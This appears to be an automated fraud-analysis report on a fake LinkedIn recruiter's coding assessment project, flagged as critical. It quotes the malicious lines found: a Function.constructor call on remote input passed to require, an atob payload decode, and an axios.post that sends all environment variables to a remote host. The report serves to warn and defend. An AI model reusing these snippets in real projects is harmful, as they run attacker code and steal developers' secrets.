| Verdict | Critical |
|---|---|
| Code | 5 attack chains found in the code, 3 of them decisive |
This case involves a highly suspicious recruitment scam delivered via LinkedIn DM, with a high-risk verdict. The recruiter shared a coding assessment project that, upon closer inspection, contained multiple critical vulnerabilities. Evidence suggests the project was designed for remote code execution (RCE) and secret exfiltration. Specifically, the leaderboard controller in the backend used Function.constructor on remote input, allowing for RCE. This constructed function was then passed to `require()`, indicating a potential require injection. Furthermore, the profile service in the backend was configured to exfiltrate all environment variables to an external URL via `axios.post`, a clear indicator of secret theft. These combined signals strongly point to a sophisticated attempt to compromise the recipient's system and steal sensitive information under the guise of a coding assessment.
| Runs | builds code from a string and runs it; decodes a hidden payload |
|---|---|
| Leaves the machine | credentials read from disk; data to a remote host; environment variables; environment variables, sent out |
| When | at install time |
5 chains. Open one to see the lines it rests on.
| backend/src/services/profileService.js:42 | decodes |
| backend/src/controllers/leaderboardController.js:601 | code from string |
backend/src/controllers/leaderboardController.js:601 · function_constructor_access
const errorHandler = new (Function.constructor)("require", message);backend/src/services/profileService.js:42 · atob_decode
return atob(s);| backend/src/services/profileService.js:42 | decodes |
| backend/src/controllers/leaderboardController.js:601 | code from string |
| backend/src/services/profileService.js:53 | env exfil |
backend/src/controllers/leaderboardController.js:601 · function_constructor_access
const errorHandler = new (Function.constructor)("require", message);backend/src/services/profileService.js:42 · atob_decode
return atob(s);backend/src/services/profileService.js:53 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| Code | Something in this code can run on the machine that installs or runs it. |
|---|---|
| Layers | not detonated in a sandbox |
| Version | Date | Band | Engine | Stages |
|---|---|---|---|---|
| 2 | 04/09/2026 | Critical | 5c766bbb4aa0 | engine, osv |
| 1 | 15/05/2026 | Elevated | legacy-pre-g | engine |
Disclaimer: This report is based on community-submitted information and automated analysis. It does not constitute legal advice or a definitive determination of fraud. Named or described entities may contest this report — if you believe this case contains inaccurate information, you may submit a correction or appeal. RTIdx processes takedown and correction requests within 7 days.
backend/src/services/profileService.js:53 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| backend/src/services/profileService.js:53 | env exfil |
backend/src/services/profileService.js:53 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });| frontend/lib/detectBrowserWallets.ts:34 | reads credential |
| backend/src/controllers/subgraphController.js:100 | sends to |
backend/src/controllers/subgraphController.js:100 · outbound_http_request
const r = await fetch(url, {frontend/lib/detectBrowserWallets.ts:34 · ethereum_wallet_dir
const eth = (window as unknown as { ethereum?: unknown }).ethereum as| backend/package.json:13 | triggered on install |
| backend/src/services/profileService.js:53 | reads env |
| backend/src/controllers/subgraphController.js:100 | sends to |
backend/package.json:13 · lifecycle_hook_postinstall
"postinstall": "prisma generate"backend/src/controllers/subgraphController.js:100 · outbound_http_request
const r = await fetch(url, {backend/src/services/profileService.js:53 · env_axios_exfil
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · env_spread_exfil_post
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · env_spread_object
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });backend/src/services/profileService.js:53 · outbound_http_request
return axios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } });